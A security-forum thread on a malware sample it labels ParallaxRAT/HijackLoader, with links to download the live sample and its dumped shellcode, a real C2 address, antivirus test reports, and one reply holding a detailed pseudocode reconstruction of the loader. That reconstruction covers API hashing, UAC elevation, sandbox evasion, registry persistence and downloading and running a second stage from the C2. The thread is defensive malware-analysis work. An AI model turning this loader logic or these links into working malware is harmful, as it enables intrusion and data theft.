查看: 2664|回复: 11
收起左侧

[病毒样本] ParallaxRAT #hijackloader 1X

[复制链接]
神龟Turmi
发表于 2025-9-21 23:06:17 | 显示全部楼层 |阅读模式
下载:
https://www.lanzoum.com/TS-250921-01
https://www.lanzouv.com/TS-250921-01

VT:(仅黑DLL)
https://www.virustotal.com/gui/file/3f7819debdca5df5a6cd50147b51bceba12c5e0f8a6961b1612777080496dde1/detection

处扫2

MB:
https://bazaar.abuse.ch/sample/9 ... 36c56b5cbf1fe4fbd3/

Neiki:
https://tip.neiki.dev/file/9cb26 ... 036c56b5cbf1fe4fbd3

C&C:
  1. 206.119.175.162 //中国 香港 sondercloud.com
复制代码

SentinelOne:
扫描MISS 未双击(仅黑DLL)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +8 收起 理由
莒县小哥 + 8 感谢支持,欢迎常来: )

查看全部评分

Fadouse
发表于 2025-9-21 23:08:28 | 显示全部楼层
本帖最后由 Fadouse 于 2025-9-22 00:12 编辑

ES 双击 Kill

成功dump出shellcode & 识别黑dll


dump后发现stage1载荷为4kb 32位shellcode
下载地址: https://wormhole.app/LOBpx2#g8Z5CWF7rqjdFR_Fu78KbQ

shellcode基本信息:
shellcode vt 初扫结果:VirusTotal - File - f302ec849bb203de7b01ffc4d11c3ddf086834a09b5fce8a794660736c2914ae
  1. Kaspersky HEUR:Trojan.Multi.ShellCode.gen
  2. Rising Backdoor.SilverFox!1.104D6 (CLASSIC)
复制代码

字符串表
  1. Address        Length        Type        String
  2. seg000:00000DF6        00000007        C        &#$^&%
  3. seg000:00000E00        0000000F        C        D75D6500008AD3
  4. seg000:00000E72        00000017        C        rocessorFeaturePresent
  5. seg000:00000EA1        00000028        C        tlAddIntegrityLabelToBoundaryDescriptor
  6. seg000:00000ED9        00000021        C        tlAllocateActivationContextStack
  7. seg000:00000F11        00000020        C        tlAllocateWnfSerializationGroup
  8. seg000:00000F49        00000026        C        tlActivateActivationContextUnsafeFast
  9. seg000:00000F81        00000021        C        tWow64GetNativeSystemInformation
  10. seg000:00000FB9        00000020        C        tWow64QueryInformationProcess64
复制代码


xor加解密函数(密钥D75D6500008AD3)
  1. <blockquote>int __usercall sub_81E@<eax>(unsigned __int8 *a1@<esi>, int a2, int a3)
复制代码


uac提权函数(弹出uac弹窗提权,社会工程学)
  1. <blockquote>int __usercall sub_9FD@<eax>(int a1@<edi>)
复制代码


具备反调试/反沙箱功能函数
  1. <blockquote>_BYTE *__usercall sub_933@<eax>(int a1@<eax>)
复制代码

PEB 遍历 + 哈希解析导出表的方式动态拿 API(sub_D69, sub_D1E, sub_D4D)
导入常见api
  1. kernel32.dll
  2. 0x1AB9B854 → GetProcAddress
  3. 0x7F201F78 → LoadLibraryA
  4. 0x3F858053 → Sleep
  5. 0x5E893462 → VirtualAlloc
  6. 0x06488073 → VirtualFree
  7. 0x09515A5A → CreateThread
  8. 0x2541DED7 → WaitForSingleObject


  9. user32.dll
  10. GetSystemMetrics(用于拿 SM_CXSCREEN/SM_CYSCREEN:宽高)

  11. advapi32.dll
  12. 0x560D2316 → RegCreateKeyA(三参)
  13. 0x7CFD8D49 → RegOpenKeyExA(五参,但此处也有两参/三参配方,见下)
  14. 0x520D276D → RegSetValueExA
  15. 0x128DBF77 → RegCloseKey
  16. 0x634ED7A7 → RegQueryValueExA
  17. 0x1355B597 → RegFlushKey / RegCloseKey(该位点实际作 RegCloseKey 用)

  18. ws2_32.dll
  19. 0x33522634 → WSAStartup
  20. 0x26402D9F → socket
  21. 0x41539501 → getaddrinfo
  22. 0x785E7DD7 → freeaddrinfo
  23. 0x313A84C8 → htons
  24. 0x092B50DA → connect
  25. 0x0F8387DC → WSACleanup
  26. 0x0F6134B2 → closesocket
  27. 0x3A2FF219 → setsockopt
  28. 0x34A43BA8 → ioctlsocket
  29. 0x4FF42CCF → bind
  30. (recv/send 的哈希分别应是 0x0785C0CA/0x0660D1C3,在 sub_A81 里直接走 [ebx+4Ch]/[ebx+48h]作为 recv/send 使用)

  31. gdi32.dll(用于抓屏)
  32. 0x3239F2EB → CreateCompatibleBitmap
  33. 0x3288E377 → CreateCompatibleDC
  34. 0x1AD7E525 → BitBlt
  35. 0x495E766D → GetDIBits
  36. 0x40EDCEC3 → SelectObject
  37. 0x4A77AB92 → DeleteObject
  38. 0x19DD01DA → DeleteDC

  39. shell32.dll(用于 UAC 提权)
  40. 用的是 ShellExecuteExA(见 sub_9FD 的结构布置+"runas")
复制代码


调用GDI截屏函数 sub_86D

核心网络通信,循环解密并执行 第二阶段shellcode函数 sub_A81
  1. <blockquote>char __usercall sub_A81@<al>(int a1@<ebx>)
复制代码

执行下载载荷,构建config 函数 sub_C80
  1. <blockquote>int __usercall sub_C80@<eax>(int a1@<edi>, int a2, int a3, int a4, int a5)
复制代码

更具以上函数
大致行为重写(GPT5实现, 伪代码)
  1. // 导出表名字哈希(sub_D4D / sub_D1E:131 乘法哈希,大小写无关 / 宽字节版)
  2. static uint32_t hash_name_ascii(const char* s) {   // sub_D4D
  3.     uint32_t h = 0;
  4.     for (unsigned char c; (c = *s++) != 0; )
  5.         h = (int8_t)c + 131 * h;
  6.     return h & 0x7FFFFFFF;
  7. }
  8. static uint32_t hash_name_wide(const wchar_t* s, int n) { // sub_D1E
  9.     uint32_t h = 0;
  10.     for (int i = 0; i < n; ++i) {
  11.         uint16_t ch = s[i];
  12.         if (ch >= 'a') ch -= 32;           // to upper
  13.         h = (uint16_t)ch + 131 * h;
  14.     }
  15.     return h & 0x7FFFFFFF;
  16. }

  17. // 出口解析器(从模块基址+哈希找函数地址;若给了回调=GetProcAddress,也会用回调返回)
  18. // 对应 sub_D69
  19. FARPROC ResolveByHash(HMODULE modBase, uint32_t target_hash, FARPROC optGetProc /*可为NULL*/) {
  20.     // ……遍历 modBase 的导出表,按名字做 131 乘法哈希(sub_D4D)……
  21.     // 命中 target_hash 时:
  22.     //   如果 optGetProc != NULL:return optGetProc(modBase, "MatchedName");
  23.     //   否则:根据 ordinal -> AddressTable 返回真实地址
  24. }

  25. // 轻量“解码器”(按 10 字节轮次,使用 key[0], key[1]、key[i%10] 和取模/异或;对应 sub_81E)
  26. void XorFixDecode(uint8_t* key /*ESI*/, uint8_t* buf /*a2*/, int len /*a3*/) {
  27.     int iSel = 0;
  28.     for (int i = 0; i < len; ++i) {
  29.         uint8_t denom = key[0] ? key[0] : 1;                       // 除数为 0 时用 1
  30.         uint8_t add   = key[1];
  31.         uint8_t modv  = key[iSel] % denom;
  32.         buf[i] ^= (uint8_t)(add + modv);
  33.         if (++iSel == 10) iSel = 0;                                // 每 10 字节一轮
  34.     }
  35. }

  36. // “屏幕采集到缓冲区”(GDI 路径,BitBlt + GetDIBits;对应 sub_86D)
  37. // a2=目标缓冲;a3=宽;a4=高
  38. bool CaptureScreenToBuffer(API& A, uint8_t* out, int cx, int cy) {
  39.     // v12 = GetDC(NULL)
  40.     // 准备 BITMAPINFOHEADER(biSize=0x28, biWidth=cx, biHeight=-cy, biPlanes=1, biBitCount=32, biCompression=BI_RGB)
  41.     // hMemDC   = CreateCompatibleDC(hdc);
  42.     // hBitmap  = CreateCompatibleBitmap(hdc, cx, cy);
  43.     // SelectObject(hMemDC, hBitmap);
  44.     // BitBlt(hMemDC,0,0,cx,cy, hdc,0,0, SRCCOPY(0x00CC0020));
  45.     // GetDIBits(hMemDC, hBitmap, 0, cy, out, &bmi, DIB_RGB_COLORS);
  46.     // 清理:SelectObject(old), DeleteObject, DeleteDC, ReleaseDC
  47.     // 返回是否成功
  48. }

  49. // “屏幕变化阈值判定循环”(对应 sub_933)
  50. bool WaitScreenStableThenReturn(API& A) {
  51.     int w = A.GetSystemMetrics(SM_CXSCREEN);     //
  52.     int h = A.GetSystemMetrics(SM_CYSCREEN);     //
  53.     size_t bytes = (size_t)w * h * 4;

  54.     uint8_t* bufA = (uint8_t*)A.VirtualAlloc(nullptr, bytes, MEM_COMMIT, PAGE_READWRITE);
  55.     uint8_t* bufB = (uint8_t*)A.VirtualAlloc(nullptr, bytes, MEM_COMMIT, PAGE_READWRITE);
  56.     if (!bufA || !bufB) return false;

  57.     // 先拍一帧,后面 1800 次(~1小时)每次间隔 2s 对比差异,超过 20000 字节就认为“变化太大”
  58.     if (!CaptureScreenToBuffer(A, bufA, w, h)) return false;

  59.     for (int i = 0; i < 1800; ++i) {
  60.         A.Sleep(2000);
  61.         if (!CaptureScreenToBuffer(A, bufB, w, h)) return false;

  62.         int diff = 0;
  63.         for (size_t k = 0; k < bytes; ++k) if (bufA[k] != bufB[k]) ++diff;
  64.         if (diff > 20000) return true;           // 有明显活动/变化,放行
  65.     }
  66.     return false;
  67. }

  68. // 以 UAC “runas” 复活(对应 sub_9FD):GetModuleFileName + ShellExecuteEx(Verb="runas")
  69. bool RelaunchElevatedAndExit(API& A) {
  70.     wchar_t path[260];
  71.     if (!A.GetModuleFileNameW(NULL, path, 260)) return false;

  72.     SHELLEXECUTEINFOW si = { sizeof(si) };
  73.     si.fMask  = SEE_MASK_NOCLOSEPROCESS; // 对应代码里设置了 0x40
  74.     si.lpVerb = L"runas";
  75.     si.lpFile = path;
  76.     bool ok = A.ShellExecuteExW(&si);
  77.     if (ok) A.ExitProcess(0);
  78.     return ok;
  79. }

  80. // 把 payload 持久化到注册表(对应 sub_C80):HKCU\{SubKey}\Value="0" REG_BINARY
  81. bool PersistToRegistry(API& A, const wchar_t* subKey, const void* data, DWORD len) {
  82.     // 注意:写入前后都对 data 做同样的 XorFixDecode( key = cfg+0x0A ),写完再“复位”
  83.     HKEY h = nullptr;
  84.     DWORD tmp = 0;
  85.     XorFixDecode((uint8_t*)(A.cfg + 0x0A), (uint8_t*)data, len);

  86.     if (A.RegOpenKeyExW(HKEY_CURRENT_USER, subKey, 0, KEY_SET_VALUE, &h) == 0) {
  87.         A.RegSetValueExW(h, L"0", 0, REG_BINARY, (const BYTE*)data, len);
  88.         A.RegCloseKey(h);
  89.     }
  90.     XorFixDecode((uint8_t*)(A.cfg + 0x0A), (uint8_t*)data, len); // 复位
  91.     return true;
  92. }

  93. // 调用二阶段入口(对应 sub_CF9):把 cfg 各字段打包传给下载/解包器入口
  94. using StageEntry = int (__stdcall*)(void*, void*, void*, DWORD, DWORD, BYTE);
  95. void InvokeStage(API& A) {
  96.     // [esi+0xDC] 存的是“下载缓冲解码后”的可执行入口地址(见 sub_A81 末尾)
  97.     auto entry_factory = (StageEntry)(A.stageEntryThunk)(); // 先 call 一下,返回真正入口
  98.     auto cfg = A.cfg;
  99.     entry_factory(cfg + 0x28,          // 参数 1
  100.                   cfg + 0x0A,          // 参数 2(也是 xor key 起点)
  101.                   cfg + 0x46,          // 参数 3
  102.                   *(DWORD*)(cfg+0x64), // 参数 4
  103.                   0,                   // 参数 5(恒 0)
  104.                   *(BYTE*)(cfg+0x68)); // 参数 6
  105. }
  106. // 直连 C2 拉取二阶段;握手字节固定 'y'(0x79);按块接收 -> 解码 -> 持久化 -> 运行
  107. bool DownloadAndRunStage(API& A) {
  108.     // 1) 创建 TCP
  109.     SOCKET s = A.WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nullptr, 0, 0);
  110.     A.sock = s;
  111.     if ((intptr_t)s == -1) goto FAIL;

  112.     // 2) 从 cfg 搬出目标 sockaddr(sub_A81 中有 4 次 movsd 把 16 字节结构拷到 [a1+0xCC])
  113.     sockaddr_in sa = {};
  114.     memcpy(&sa, A.cfg, sizeof(sa));           // cfg[0..15] 预置了 family, port, addr
  115.     sa.sin_port = A.htons(*(uint16_t*)(A.cfg + 0x64)); // 再根据 cfg+0x64 修正端口
  116.     // 注:IP/端口就在 cfg 里(你给的 206.119.175.162:443 就是这里来的)

  117.     // 3) 连接
  118.     if (A.connect(s, (sockaddr*)&sa, sizeof(sa)) == SOCKET_ERROR) goto FAIL;

  119.     // 4) 发送单字节握手 0x79
  120.     char y = 'y';
  121.     if (A.send(s, &y, 1, 0) <= 0) goto FAIL;

  122.     // 5) 分配两个缓冲:接收区 recvBuf(0x7F800),解码/执行区 execBuf(0x7D00E 起)
  123.     void* execBuf = A.VirtualAlloc(nullptr, 0x7D00E, MEM_COMMIT, PAGE_READWRITE); // [a1+0xDC]
  124.     if (!execBuf) goto FAIL;
  125.     A.stageEntryThunk = execBuf;             // 之后会 call [a1+0xDC] 作为 thunk

  126.     char* recvBuf = (char*)A.VirtualAlloc(nullptr, 0x7F800, MEM_COMMIT, PAGE_READWRITE);
  127.     if (!recvBuf) goto FAIL;

  128.     // 6) 第一次接收:读取 4 字节/若干头部 -> 得到期望总长度 expectedLen(sub_A81 里先把前 4 字节复制到 var_10)
  129.     DWORD expectedLen = 0;
  130.     int got = A.recv(s, recvBuf, 0x7D000, 0);
  131.     if (got <= 0) goto FAIL;

  132.     // 解析头 4 字节(长度),并把“头后若干字节”解混淆到 execBuf 起始位置(用 XorFixDecode,见 sub_A81 的两处 81E)
  133.     memcpy(&expectedLen, recvBuf, 4);
  134.     if (got <= 0x0E) goto FAIL;             // 长度太短直接失败
  135.     // 头部后的 0x0E 字节不直接保留,真实数据从 offset=0x0E 进入 execBuf
  136.     memcpy((uint8_t*)execBuf + 0, recvBuf + 0, got);            // 先临时拼接
  137.     XorFixDecode((uint8_t*)(A.cfg + 0x0A), (uint8_t*)&expectedLen, 4); // 解开长度字段
  138.     XorFixDecode((uint8_t*)(A.cfg + 0x0A),
  139.                  (uint8_t*)execBuf + 4, 4);                     // 也对后续需要的控制字段解开

  140.     // 循环继续拉到 expectedLen
  141.     int total = got;
  142.     while (total < (int)expectedLen) {
  143.         int chunk = A.recv(s, recvBuf, 0x7D000, 0);
  144.         if (chunk <= 0) goto FAIL;
  145.         // 叠加到 execBuf 的后面
  146.         A.memcpy((uint8_t*)execBuf + total, recvBuf, chunk);
  147.         total += chunk;
  148.     }

  149.     // 7) 把“主体 (total-0x0E)” 进行解码(密钥 key = cfg+0x0A;sub_A81 两次 81E:一次对 4 字节头、一处对主体)
  150.     A.VirtualFree(recvBuf, 0, 0x8000);
  151.     XorFixDecode((uint8_t*)(A.cfg + 0x0A), (uint8_t*)execBuf + 0x0E, total - 0x0E);

  152.     // 8) 持久化:把 execBuf 内容(expectedLen)写入 HKCU\{cfgSubKey}\ValueName="0"(sub_C80)
  153.     PersistToRegistry(A, (const wchar_t*)(A.cfg + 0x0A), execBuf, expectedLen);

  154.     // 9) 调用“二阶段入口”:sub_CF9
  155.     InvokeStage(A);
  156.     return true;

  157. FAIL:
  158.     // 收尾(sub_A81 尾部清理)
  159.     A.Sleep(5000);
  160.     if (A.cfgHandle) A.LocalFree(A.cfgHandle);
  161.     if ((intptr_t)A.sock != -1) A.closesocket(A.sock);
  162.     if (execBuf) A.VirtualFree(execBuf, 0, 0x8000);
  163.     if (recvBuf) A.VirtualFree(recvBuf, 0, 0x8000);
  164.     return false;
  165. }
  166. // 伪入口(对应整个 seg000 主体)
  167. int __stdcall Entry() {
  168.     // --------- 1) 自身基址/配置定位 ----------
  169.     // 取返回地址(sub_DF0 返回 [esp]),从那里向后扫描 magic "*^&#$^&%"(loc_26..loc_68)
  170.     uint8_t* self = GetReturnAddress();
  171.     uint8_t* cfg  = memmem(self, 0x182B8, "*^&#$^&%", 8) ? (self + foundOff) : nullptr;

  172.     // --------- 2) 通过 PEB 遍历找 kernel32 基址 + 组装哈希解析器 ----------
  173.     HMODULE k32 = FindModuleBaseByHash( /*hash_wide("KERNEL32.DLL")*/ 0x1CCA9CE6 );
  174.     if (!k32) return 0;

  175.     API A = {};                // IDA 里一大坨 [esp+??] 的“函数表”
  176.     A.cfg = cfg;               // 保存配置块基址,后续大量使用

  177.     // kernel32 导出解析(sub_D69)——以下哈希常量对应的函数名我直接用语义命名
  178.     A.GetModuleHandleA = (HMODULE (WINAPI*)(LPCSTR)) ResolveByHash(k32, H_GETMODULEHANDLEA, nullptr);
  179.     A.LoadLibraryA     = (HMODULE (WINAPI*)(LPCSTR)) ResolveByHash(k32, H_LOADLIBRARYA,     nullptr);
  180.     A.GetProcAddress   = (FARPROC (WINAPI*)(HMODULE,LPCSTR))
  181.                          ResolveByHash(k32, H_GETPROCADDRESS,   nullptr);
  182.     A.Sleep            = (void (WINAPI*)(DWORD))    ResolveByHash(k32, H_SLEEP, nullptr);
  183.     A.VirtualAlloc     = (LPVOID (WINAPI*)(LPVOID,SIZE_T,DWORD,DWORD))
  184.                          ResolveByHash(k32, H_VIRTUALALLOC, nullptr);
  185.     A.VirtualFree      = (BOOL (WINAPI*)(LPVOID,SIZE_T,DWORD))
  186.                          ResolveByHash(k32, H_VIRTUALFREE, nullptr);
  187.     A.ExitProcess      = (void (WINAPI*)(UINT))     ResolveByHash(k32, H_EXITPROCESS, nullptr);
  188.     A.memcpy           = (void* (__cdecl*)(void*,const void*,size_t))
  189.                          ResolveByHash(k32, H_RTLMOVEMEMORY /*或 memcpy */, nullptr);

  190.     // ntdll/user32/advapi32/ws2_32/gdi32/shell32 等按需加载
  191.     HMODULE ntdll  = A.GetModuleHandleA("ntdll")  ?: A.LoadLibraryA("ntdll");
  192.     HMODULE user32 = A.GetModuleHandleA("user32.dll") ?: A.LoadLibraryA("user32.dll");
  193.     HMODULE advapi = A.GetModuleHandleA("advapi32")   ?: A.LoadLibraryA("advapi32");
  194.     HMODULE ws2    = A.GetModuleHandleA("WS2_32.dll") ?: A.LoadLibraryA("WS2_32.dll");
  195.     HMODULE gdi32  = A.GetModuleHandleA("gdi32.dll")  ?: A.LoadLibraryA("gdi32.dll");
  196.     HMODULE shell  = A.GetModuleHandleA("Shell32.dll")?: A.LoadLibraryA("Shell32.dll");

  197.     // 解析需要的函数指针(哈希→函数名,这里直接给出语义):
  198.     // advapi32:RegOpenKeyExW / RegQueryValueExW / RegSetValueExW / RegCloseKey ...
  199.     A.RegOpenKeyExW   = (decltype(A.RegOpenKeyExW))  ResolveByHash(advapi, H_REGOPENKEYEXW,  nullptr);
  200.     A.RegQueryValueExW= (decltype(A.RegQueryValueExW))ResolveByHash(advapi, H_REGQUERYVALUEEXW, nullptr);
  201.     A.RegSetValueExW  = (decltype(A.RegSetValueExW)) ResolveByHash(advapi, H_REGSETVALUEEXW, nullptr);
  202.     A.RegCloseKey     = (decltype(A.RegCloseKey))    ResolveByHash(advapi, H_REGCLOSEKEY,   nullptr);

  203.     // ws2_32:WSAStartup / WSASocketA / connect / send / recv / closesocket / htons
  204.     A.WSAStartup      = (decltype(A.WSAStartup))     ResolveByHash(ws2,   H_WSASTARTUP, nullptr);
  205.     A.WSASocket       = (decltype(A.WSASocket))      ResolveByHash(ws2,   H_WSASOCKET,  nullptr);
  206.     A.connect         = (decltype(A.connect))        ResolveByHash(ws2,   H_CONNECT,    nullptr);
  207.     A.send            = (decltype(A.send))           ResolveByHash(ws2,   H_SEND,       nullptr);
  208.     A.recv            = (decltype(A.recv))           ResolveByHash(ws2,   H_RECV,       nullptr);
  209.     A.closesocket     = (decltype(A.closesocket))    ResolveByHash(ws2,   H_CLOSESOCKET,nullptr);
  210.     A.htons           = (decltype(A.htons))          ResolveByHash(ws2,   H_HTONS,      nullptr);

  211.     // user32/gdi32:GetSystemMetrics / GetDC / CreateCompatibleDC / CreateCompatibleBitmap /
  212.     //               SelectObject / BitBlt / GetDIBits / DeleteObject / DeleteDC / ReleaseDC
  213.     A.GetSystemMetrics= (decltype(A.GetSystemMetrics))ResolveByHash(user32, H_GETSYSTEMMETRICS, nullptr);
  214.     A.GetDC           = (decltype(A.GetDC))            ResolveByHash(user32, H_GETDC,            nullptr);
  215.     A.ReleaseDC       = (decltype(A.ReleaseDC))        ResolveByHash(user32, H_RELEASEDC,        nullptr);
  216.     A.CreateCompatibleDC   = (decltype(A.CreateCompatibleDC))ResolveByHash(gdi32, H_CREATECOMPATIBLED, nullptr);
  217.     A.CreateCompatibleBitmap= (decltype(A.CreateCompatibleBitmap))ResolveByHash(gdi32, H_CREATECOMPATIBLEBMP, nullptr);
  218.     A.SelectObject     = (decltype(A.SelectObject))    ResolveByHash(gdi32, H_SELECTOBJECT,      nullptr);
  219.     A.BitBlt           = (decltype(A.BitBlt))          ResolveByHash(gdi32, H_BITBLT,            nullptr);
  220.     A.GetDIBits        = (decltype(A.GetDIBits))       ResolveByHash(gdi32, H_GETDIBITS,         nullptr);
  221.     A.DeleteObject     = (decltype(A.DeleteObject))    ResolveByHash(gdi32, H_DELETEOBJECT,      nullptr);
  222.     A.DeleteDC         = (decltype(A.DeleteDC))        ResolveByHash(gdi32, H_DELETEDC,          nullptr);

  223.     // shell32:ShellExecuteExW
  224.     A.ShellExecuteExW  = (decltype(A.ShellExecuteExW)) ResolveByHash(shell, H_SHELLEXECUTEEXW, nullptr);
  225.     // kernel32:GetModuleFileNameW
  226.     A.GetModuleFileNameW = (decltype(A.GetModuleFileNameW)) ResolveByHash(k32, H_GETMODULEFILENAMEW, nullptr);

  227.     // --------- 3) 根据 cfg 的标志位走不同支路 ----------
  228.     // cfg[0x69] != 0 → 试图 UAC 提权 "runas"
  229.     if (*(uint8_t*)(cfg + 0x69) != 0) {
  230.         RelaunchElevatedAndExit(A);                  // sub_9FD 路径
  231.     }

  232.     // cfg[0x6A] != 0 → 执行屏幕稳定性检测(典型沙箱绕过/等待真实用户活动)
  233.     if (*(uint8_t*)(cfg + 0x6A) != 0) {
  234.         // WSAStartup(2.2, &wsaData) 之前的一些准备
  235.         // 但实际 sub_933 里是单独被 flag[0x6B] 控制,这里归类说明:
  236.         WaitScreenStableThenReturn(A);               // sub_933
  237.     }

  238.     // --------- 4) 尝试从注册表读取已有的持久化二阶段 ----------
  239.     // Key: HKCU\{cfg+0x0A 指向的子键字符串}, Value: "0", Type: REG_BINARY, Len 在调用 RegQueryValueExW 时得出
  240.     DWORD cb = 0; HKEY h = nullptr;
  241.     if (A.RegOpenKeyExW(HKEY_CURRENT_USER, (wchar_t*)(cfg + 0x0A), 0, KEY_QUERY_VALUE, &h) == 0) {
  242.         // 查询长度
  243.         DWORD type = 3; cb = 0;
  244.         A.RegQueryValueExW(h, L"0", nullptr, &type, nullptr, &cb);

  245.         void* execBuf = A.VirtualAlloc(nullptr, 0x7D00E, MEM_COMMIT, PAGE_READWRITE);  // [esp+144h] = edi
  246.         void* tmpBuf  = A.VirtualAlloc(nullptr, cb ? cb : 0x7F800, MEM_COMMIT, PAGE_READWRITE);
  247.         if (execBuf && tmpBuf) {
  248.             // 读出数据到 tmpBuf
  249.             if (A.RegQueryValueExW(h, L"0", nullptr, &type, (BYTE*)tmpBuf, &cb) == 0) {
  250.                 if (cb > 0x2800) {
  251.                     // 大于阈值:认为是加壳的二阶段 -> 解码 -> 调用
  252.                     // 先把前 4 字节长度/控制字段按 sub_81E 弄一遍,再把主体按 sub_81E 弄一遍
  253.                     XorFixDecode((uint8_t*)(cfg + 0x0A), (uint8_t*)tmpBuf,     4);
  254.                     XorFixDecode((uint8_t*)(cfg + 0x0A), (uint8_t*)tmpBuf+0x0E, cb-0x0E);
  255.                     memcpy(execBuf, tmpBuf, cb);       // “解码到执行区”
  256.                     A.stageEntryThunk = execBuf;
  257.                     InvokeStage(A);                    // sub_CF9
  258.                 } else {
  259.                     // 否则按“函数指针”对待:直接跳转执行(sub_7C4: call edi; call eax)
  260.                     auto p = (int (WINAPI*)(void))execBuf;
  261.                     p(); ((int (WINAPI*)(void))(*(void**)execBuf))();
  262.                 }
  263.             }
  264.         }
  265.         if (h) A.RegCloseKey(h);
  266.     }

  267.     // --------- 5) 若注册表没有,就走在线下载 ----------
  268.     WSADATA wd;
  269.     while (A.WSAStartup(MAKEWORD(2,2), &wd) != 0) {
  270.         // 重试直到成功(主循环里 Sleep(1000) × 4 再重来)
  271.         for (int i=0;i<4;i++){ A.Sleep(1000); }
  272.     }

  273.     if (*(uint8_t*)(cfg + 0x6B) != 0) {
  274.         // 如果配置允许,还会先做一轮屏幕活动检测(sub_933)
  275.         WaitScreenStableThenReturn(A);
  276.     }

  277.     // 直连 C2,下载、解码、持久化并运行(sub_A81 -> sub_C80 -> sub_CF9)
  278.     DownloadAndRunStage(A);

  279.     return 1;
  280. }
复制代码

当前shellcode 使用的配置解析(伪代码)
  1. struct NetworkConfiguration {
  2.     // IP地址配置
  3.     char target_ip[] = "206.119.175.162";  // 主C2服务器
  4.    
  5.     // 版本标识
  6.     char version[] = "2.6.11.7.16.52";     // 恶意软件版本

  7. //stage 2 shellcode解密密钥
  8.     char xorkey[] = "D75D6500008AD3"
  9.     // 连接参数
  10.     uint32_t max_download_size = 0x7F800;   // 522KB 最大下载
  11.     uint32_t chunk_size = 0x7D000;          // 512KB 分块大小
  12.     uint16_t default_port = 443;            // HTTPS端口伪装
  13.    
  14.     // 握手协议
  15.     uint8_t handshake_byte = 0x79;          // 'y' - 握手标识
  16.    
  17.     // 超时设置
  18.     uint32_t connection_timeout = 5000;     // 5秒连接超时
  19.     uint32_t operation_timeout = 1000;      // 1秒操作超时
  20. };
复制代码

总结
自带配置定位:入口从自身代码尾部扫描魔术串 *^&#$^&%,其后是一段配置块(包含 sockaddr_in、端口、注册表子键、标志位和 XOR key 等)。
无导入运行:通过 PEB → 导出表 + 131 乘法哈希(sub_D4D/sub_D1E/sub_D69)解析 kernel32/ntdll/user32/gdi32/advapi32/ws2_32/shell32 的关键 API。
提权分支:若 cfg[0x69]!=0,构造 SHELLEXECUTEINFO,lpVerb="runas" 调 ShellExecuteEx 复活为管理员(sub_9FD)。
环境/用户活动探测:可选的屏幕采集与“变化字节数阈值”检测(>20000)——典型反沙箱/等真实操作策略(sub_86D + sub_933)。
持久化:下载或已有 payload 会写入 HKCU\{SubKey}\ValueName="0",类型 REG_BINARY(写前后都用 sub_81E 的 XOR 轻混淆;sub_C80)。
网络拿二阶段:WSAStartup → WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP) → connect(cfg.ip:cfg.port) → send('y') → recv 分块 → XorFixDecode → 落地注册表 → 调用(sub_A81)。
执行二阶段:call [stageEntryThunk] 得到真正入口,再把 cfg+{0x28,0x0A,0x46,0x64,0x68} 等参数传入执行(sub_CF9),通常是内存 PE 加载/解压/解密器


行为符合部分银狐样本,但不能确定


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +3 收起 理由
神龟Turmi + 3 啾咪

查看全部评分

Curve25519
发表于 2025-9-21 23:17:51 | 显示全部楼层
ESET Smart Security Premium 解压、扫描 miss,沙盘中双击 keytool.exe 不报

扫描日志
检测引擎的版本: 31897 (20250921)
日期: 2025/9/21  时间: 23:15:46
已扫描的磁盘、文件夹和文件: W:\Sandbox\Admin\DefaultBox\drive\W\TS-250921-01\api-ms-win-crt-heap-l1-1-0.dll;W:\Sandbox\Admin\DefaultBox\drive\W\TS-250921-01\api-ms-win-crt-runtime-l1-1-0.dll;W:\Sandbox\Admin\DefaultBox\drive\W\TS-250921-01\CreateHiddenTask.vbs;W:\Sandbox\Admin\DefaultBox\drive\W\TS-250921-01\jli.dll;W:\Sandbox\Admin\DefaultBox\drive\W\TS-250921-01\keytool.exe;W:\Sandbox\Admin\DefaultBox\drive\W\TS-250921-01\msvcr100.dll;W:\Sandbox\Admin\DefaultBox\drive\W\TS-250921-01\vcruntime140.dll
用户: DESKTOP-K07940I\Admin
已扫描的对象数: 8
检测数: 0
完成时间: 23:15:46  总扫描时间: 0 秒 (00:00:00)

评分

参与人数 1人气 +3 收起 理由
神龟Turmi + 3

查看全部评分

神龟Turmi
 楼主| 发表于 2025-9-21 23:19:23 | 显示全部楼层
Curve25519 发表于 2025-9-21 23:17
ESET Smart Security Premium 解压、扫描 miss,沙盘中双击 keytool.exe 不报

扫描日志

不排除样本可能需要在%appdata%/Security目录才可以正常运行(钓鱼脚本是扔到这个目录的)
可以试一试
lsop1349987
发表于 2025-9-21 23:20:04 | 显示全部楼层
本帖最后由 lsop1349987 于 2025-9-22 10:33 编辑

emsi、drweb双击miss
hmpa双击kill

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +2 收起 理由
神龟Turmi + 2

查看全部评分

ulyanov2233
发表于 2025-9-21 23:20:04 | 显示全部楼层
卡巴解压kill
事件: 对象的备份副本已创建
用户: FIREFLY\Y8219
用户类型: 发起者
应用程序名称: explorer.exe
应用程序路径: C:\Windows
组件: 文件反病毒
结果描述: 已创建备份副本
类型: 木马
名称: VHO:Trojan.Win32.Dllhijack.gen
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: jli.dll
对象路径: C:\Users\Y8219\Downloads\TS-250921-01
对象的 MD5: 3CA440A3F4800090EE691E037A9CE501
aboringman
发表于 2025-9-21 23:29:18 | 显示全部楼层
本帖最后由 aboringman 于 2025-9-22 09:06 编辑

ESET:无反应



上报了




2025.09.22  9:02

  1. 2025/9/22 9:02:45;C:\Users\\Downloads\Compressed\TS-250921-01\jli.dll;12.0 kB;Win32/Agent.AHVF 特洛伊木马;3177FE43CDAA6C519D47A9225735E4E503901576
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
心醉咖啡
发表于 2025-9-21 23:30:40 | 显示全部楼层
360扫描miss,下载保护无视加密报风险
Rukia
发表于 2025-9-21 23:49:33 | 显示全部楼层
BEST
ATC.SuspiciousBehavior.DD44D0981AA53E90.
莒县小哥
发表于 2025-9-22 08:15:28 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

